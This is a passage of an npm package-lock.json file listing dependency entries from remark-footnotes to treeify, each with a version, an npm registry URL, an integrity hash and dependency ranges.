"https://registry.npmjs.org/remark-footnotes/-/remark-footnotes-3.0.0.tgz", "integrity": "sha512-ZssAvH9FjGYlJ/PBVKdSmfyPc3Cz4rTWgZLI4iE/SX8Nt5l3o3oEjv3wwG5VD7xOjktzdwp5coac+kJV9l4jgg==", "dependencies": { "mdast-util-footnote": "^0.1.0", "micromark-extension-footnote": "^0.3.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/remark-frontmatter": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/remark-frontmatter/-/remark-frontmatter-3.0.0.tgz", "integrity": "sha512-mSuDd3svCHs+2PyO29h7iijIZx4plX0fheacJcAoYAASfgzgVIcXGYSq9GFyYocFLftQs8IOmmkgtOovs6d4oA==", "dependencies": { "mdast-util-frontmatter": "^0.2.0", "micromark-extension-frontmatter": "^0.2.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/remark-gfm": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-1.0.0.tgz", "integrity": "sha512-KfexHJCiqvrdBZVbQ6RopMZGwaXz6wFJEfByIuEwGf0arvITHjiKKZ1dpXujjH9KZdm1//XJQwgfnJ3lmXaDPA==", "dependencies": { "mdast-util-gfm": "^0.1.0", "micromark-extension-gfm": "^0.3.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/remark-parse": { "version": "9.0.0", "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-9.0.0.tgz", "integrity": "sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==", "dependencies": { "mdast-util-from-markdown": "^0.8.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/repeat-string": { "version": "1.6.1", "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==", "engines": { "node": ">=0.10" } }, "node_modules/request-progress": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/request-progress/-/request-progress-3.0.0.tgz", "integrity": "sha1-TKdUCBx/7GP1BeT6qCWqBs1mnb4=", "dev": true, "dependencies": { "throttleit": "^1.0.0" } }, "node_modules/require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", "engines": { "node": ">=0.10.0" } }, "node_modules/require-uncached": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", "dev": true, "dependencies": { "caller-path": "^0.1.0", "resolve-from": "^1.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", "dev": true }, "node_modules/resolve": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.10.0.tgz", "integrity": "sha512-3sUr9aq5OfSg2S9pNtPA9hL1FVEAjvfOC4leW0SNf/mpnaakz2a9femSd6LqAww2RaFctwyf1lCqnTHuF1rxDg==", "dependencies": { "path-parse": "^1.0.6" } }, "node_modules/resolve-from": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz", "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/restore-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", "dependencies": { "onetime": "^5.1.0", "signal-exit": "^3.0.2" }, "engines": { "node": ">=8" } }, "node_modules/reusify": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", "dev": true, "engines": { "iojs": ">=1.0.0", "node": ">=0.10.0" } }, "node_modules/rimraf": { "version": "2.6.3", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", "dev": true, "dependencies": { "glob": "^7.1.3" }, "bin": { "rimraf": "bin.js" } }, "node_modules/run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==", "engines": { "node": ">=0.12.0" } }, "node_modules/run-parallel": { "version": "1.1.9", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.1.9.tgz", "integrity": "sha512-DEqnSRTDw/Tc3FXf49zedI638Z9onwUotBMiUFKmrO2sdFKIbXamXGQ3Axd4qgphxKB4kw/qP1w5kTxnfU1B9Q==", "dev": true }, "node_modules/rxjs": { "version": "5.5.12", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-5.5.12.tgz", "integrity": "sha512-xx2itnL5sBbqeeiVgNPVuQQ1nC8Jp2WfNJhXWHmElW9YmrpS9UVnNzhP3EH3HFqexO5Tlp8GhYY+WEcqcVMvGw==", "dev": true, "dependencies": { "symbol-observable": "1.0.1" }, "engines": { "npm": ">=2.0.0" } }, "node_modules/safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/feross" }, { "type": "patreon", "url": "https://www.patreon.com/feross" }, { "type": "consulting", "url": "https://feross.org/support" } ] }, "node_modules/safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "node_modules/semver": { "version": "5.7.2", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", "bin": { "semver": "bin/semver" } }, "node_modules/shebang-command": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", "dev": true, "dependencies": { "shebang-regex": "^1.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/shebang-regex": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/side-channel": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", "dev": true, "dependencies": { "call-bind": "^1.0.0", "get-intrinsic": "^1.0.2", "object-inspect": "^1.9.0" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=" }, "node_modules/slash": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/slice-ansi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==", "dev": true, "dependencies": { "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" }, "engines": { "node": ">=8" } }, "node_modules/slice-ansi/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/slice-ansi/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dev": true, "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/slice-ansi/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, "node_modules/slide": { "version": "1.1.6", "resolved": "https://registry.npmjs.org/slide/-/slide-1.1.6.tgz", "integrity": "sha512-NwrtjCg+lZoqhFU8fOwl4ay2ei8PaqCBOUV3/ektPY9trO1yQ1oXEfmHAhKArUVUr/hOHvy5f6AdP17dCM0zMw==", "dev": true, "engines": { "node": "*" } }, "node_modules/sort-object-keys": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/sort-object-keys/-/sort-object-keys-1.1.3.tgz", "integrity": "sha512-855pvK+VkU7PaKYPc+Jjnmt4EzejQHyhhF33q31qG8x7maDzkeFhAAThdCYay11CISO+qAMwjOBP+fPZe0IPyg==", "dev": true }, "node_modules/sort-package-json": { "version": "1.57.0", "resolved": "https://registry.npmjs.org/sort-package-json/-/sort-package-json-1.57.0.tgz", "integrity": "sha512-FYsjYn2dHTRb41wqnv+uEqCUvBpK3jZcTp9rbz2qDTmel7Pmdtf+i2rLaaPMRZeSVM60V3Se31GyWFpmKs4Q5Q==", "dev": true, "dependencies": { "detect-indent": "^6.0.0", "detect-newline": "3.1.0", "git-hooks-list": "1.0.3", "globby": "10.0.0", "is-plain-obj": "2.1.0", "sort-object-keys": "^1.1.3" }, "bin": { "sort-package-json": "cli.js" } }, "node_modules/source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", "engines": { "node": ">=0.10.0" } }, "node_modules/spawn-command": { "version": "0.0.2-1", "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2-1.tgz", "integrity": "sha1-YvXpRmmBwbeW3Fkpk34RycaSG9A=" }, "node_modules/spdx-compare": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/spdx-compare/-/spdx-compare-1.0.0.tgz", "integrity": "sha512-C1mDZOX0hnu0ep9dfmuoi03+eOdDoz2yvK79RxbcrVEG1NO1Ph35yW102DHWKN4pk80nwCgeMmSY5L25VE4D9A==", "dev": true, "dependencies": { "array-find-index": "^1.0.2", "spdx-expression-parse": "^3.0.0", "spdx-ranges": "^2.0.0" } }, "node_modules/spdx-correct": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz", "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==", "dependencies": { "spdx-expression-parse": "^3.0.0", "spdx-license-ids": "^3.0.0" } }, "node_modules/spdx-exceptions": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.2.0.tgz", "integrity": "sha512-2XQACfElKi9SlVb1CYadKDXvoajPgBVPn/gOQLrTvHdElaVhr7ZEbqJaRnJLVNeaI4cMEAgVCeBMKF6MWRDCRA==" }, "node_modules/spdx-expression-parse": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", "dependencies": { "spdx-exceptions": "^2.1.0", "spdx-license-ids": "^3.0.0" } }, "node_modules/spdx-license-ids": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.4.tgz", "integrity": "sha512-7j8LYJLeY/Yb6ACbQ7F76qy5jHkp0U6jgBfJsk97bwWlVUnUWsAgpyaCvo17h0/RQGnQ036tVDomiwoI4pDkQA==" }, "node_modules/spdx-ranges": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/spdx-ranges/-/spdx-ranges-2.1.1.tgz", "integrity": "sha512-mcdpQFV7UDAgLpXEE/jOMqvK4LBoO0uTQg0uvXUewmEFhpiZx5yJSZITHB8w1ZahKdhfZqP5GPEOKLyEq5p8XA==", "dev": true }, "node_modules/spdx-satisfies": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/spdx-satisfies/-/spdx-satisfies-4.0.1.tgz", "integrity": "sha512-WVzZ/cXAzoNmjCWiEluEA3BjHp5tiUmmhn9MK+X0tBbR9sOqtC6UQwmgCNrAIZvNlMuBUYAaHYfb2oqlF9SwKA==", "dev": true, "dependencies": { "spdx-compare": "^1.0.0", "spdx-expression-parse": "^3.0.0", "spdx-ranges": "^2.0.0" } }, "node_modules/split": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz", "integrity": "sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==", "dependencies": { "through": "2" }, "engines": { "node": "*" } }, "node_modules/split2": { "version": "3.2.2", "resolved": "https://registry.npmjs.org/split2/-/split2-3.2.2.tgz", "integrity": "sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==", "dependencies": { "readable-stream": "^3.0.0" } }, "node_modules/sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", "dev": true }, "node_modules/sshpk": { "version": "1.16.1", "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", "dev": true, "dependencies": { "asn1": "~0.2.3", "assert-plus": "^1.0.0", "bcrypt-pbkdf": "^1.0.0", "dashdash": "^1.12.0", "ecc-jsbn": "~0.1.1", "getpass": "^0.1.1", "jsbn": "~0.1.0", "safer-buffer": "^2.0.2", "tweetnacl": "~0.14.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/standard": { "version": "12.0.1", "resolved": "https://registry.npmjs.org/standard/-/standard-12.0.1.tgz", "integrity": "sha512-UqdHjh87OG2gUrNCSM4QRLF5n9h3TFPwrCNyVlkqu31Hej0L/rc8hzKqVvkb2W3x0WMq7PzZdkLfEcBhVOR6lg==", "dev": true, "dependencies": { "eslint": "~5.4.0", "eslint-config-standard": "12.0.0", "eslint-config-standard-jsx": "6.0.2", "eslint-plugin-import": "~2.14.0", "eslint-plugin-node": "~7.0.1", "eslint-plugin-promise": "~4.0.0", "eslint-plugin-react": "~7.11.1", "eslint-plugin-standard": "~4.0.0", "standard-engine": "~9.0.0" }, "bin": { "standard": "bin/cmd.js" }, "engines": { "node": ">=4" } }, "node_modules/standard-engine": { "version": "9.0.0", "resolved": "https://registry.npmjs.org/standard-engine/-/standard-engine-9.0.0.tgz", "integrity": "sha512-ZfNfCWZ2Xq67VNvKMPiVMKHnMdvxYzvZkf1AH8/cw2NLDBm5LRsxMqvEJpsjLI/dUosZ3Z1d6JlHDp5rAvvk2w==", "dev": true, "dependencies": { "deglob": "^2.1.0", "get-stdin": "^6.0.0", "minimist": "^1.1.0", "pkg-conf": "^2.0.0" } }, "node_modules/string_decoder": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "dependencies": { "safe-buffer": "~5.2.0" } }, "node_modules/string-width": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.0" }, "engines": { "node": ">=8" } }, "node_modules/string-width/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "engines": { "node": ">=8" } }, "node_modules/string-width/node_modules/strip-ansi": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", "dependencies": { "ansi-regex": "^5.0.0" }, "engines": { "node": ">=8" } }, "node_modules/strip-ansi": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", "dev": true, "dependencies": { "ansi-regex": "^2.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/strip-bom": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=", "engines": { "node": ">=4" } }, "node_modules/strip-final-newline": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", "dev": true, "engines": { "node": ">=6" } }, "node_modules/strip-indent": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", "dependencies": { "min-indent": "^1.0.0" }, "engines": { "node": ">=8" } }, "node_modules/strip-json-comments": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/supports-color": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dependencies": { "has-flag": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/symbol-observable": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.0.1.tgz", "integrity": "sha1-g0D8RwLDEi310iKI+IKD9RPT/dQ=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/table": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz", "integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==", "dev": true, "dependencies": { "ajv": "^6.0.1", "ajv-keywords": "^3.0.0", "chalk": "^2.1.0", "lodash": "^4.17.4", "slice-ansi": "1.0.0", "string-width": "^2.1.1" }, "engines": { "node": ">=4.0.0" } }, "node_modules/table/node_modules/ansi-regex": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/table/node_modules/is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", "dev": true, "engines": { "node": ">=4" } }, "node_modules/table/node_modules/slice-ansi": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", "dev": true, "dependencies": { "is-fullwidth-code-point": "^2.0.0" }, "engines": { "node": ">=4" } }, "node_modules/table/node_modules/string-width": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "dev": true, "dependencies": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" }, "engines": { "node": ">=4" } }, "node_modules/table/node_modules/strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "dependencies": { "ansi-regex": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/temp-dir": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", "engines": { "node": ">=8" } }, "node_modules/tempfile": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/tempfile/-/tempfile-3.0.0.tgz", "integrity": "sha512-uNFCg478XovRi85iD42egu+eSFUmmka750Jy7L5tfHI5hQKKtbPnxaSaXAbBqCDYrw3wx4tXjKwci4/QmsZJxw==", "dependencies": { "temp-dir": "^2.0.0", "uuid": "^3.3.2" }, "engines": { "node": ">=8" } }, "node_modules/tempfile/node_modules/uuid": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", "bin": { "uuid": "bin/uuid" } }, "node_modules/text-extensions": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/text-extensions/-/text-extensions-1.9.0.tgz", "integrity": "sha512-wiBrwC1EhBelW12Zy26JeOUkQ5mRu+5o8rpsJk5+2t+Y5vE7e842qtZDQ2g1NpX/29HdyFeJ4nSIhI47ENSxlQ==", "engines": { "node": ">=0.10" } }, "node_modules/text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", "dev": true }, "node_modules/throttleit": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz", "integrity": "sha1-nnhYNtr0Z0MUWlmEtiaNgoUorGw=", "dev": true }, "node_modules/through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" }, "node_modules/through2": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz", "integrity": "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==", "dependencies": { "readable-stream": "3" } }, "node_modules/tmp": { "version": "0.0.33", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", "dependencies": { "os-tmpdir": "~1.0.2" }, "engines": { "node": ">=0.6.0" } }, "node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", "dev": true, "dependencies": { "is-number": "^7.0.0" }, "engines": { "node": ">=8.0" } }, "node_modules/tough-cookie": { "version": "4.1.3", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", "dev": true, "dependencies": { "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.2.0", "url-parse": "^1.5.3" }, "engines": { "node": ">=6" } }, "node_modules/tough-cookie/node_modules/universalify": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", "dev": true, "engines": { "node": ">= 4.0.0" } }, "node_modules/tr46": { "version": "0.0.3", "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" }, "node_modules/traverse": { "version": "0.6.7", "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.7.tgz", "integrity": "sha512-/y956gpUo9ZNCb99YjxG7OaslxZWHfCHAUUfshwqOXmxUIvqLjVO581BT+gM59+QV9tFe6/CGG53tsA1Y7RSdg==", "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/tree-kill": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", "bin": { "tree-kill": "cli.js" } }, "node_modules/treeify": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/treeify/-/treeify-1.1.0.tgz", 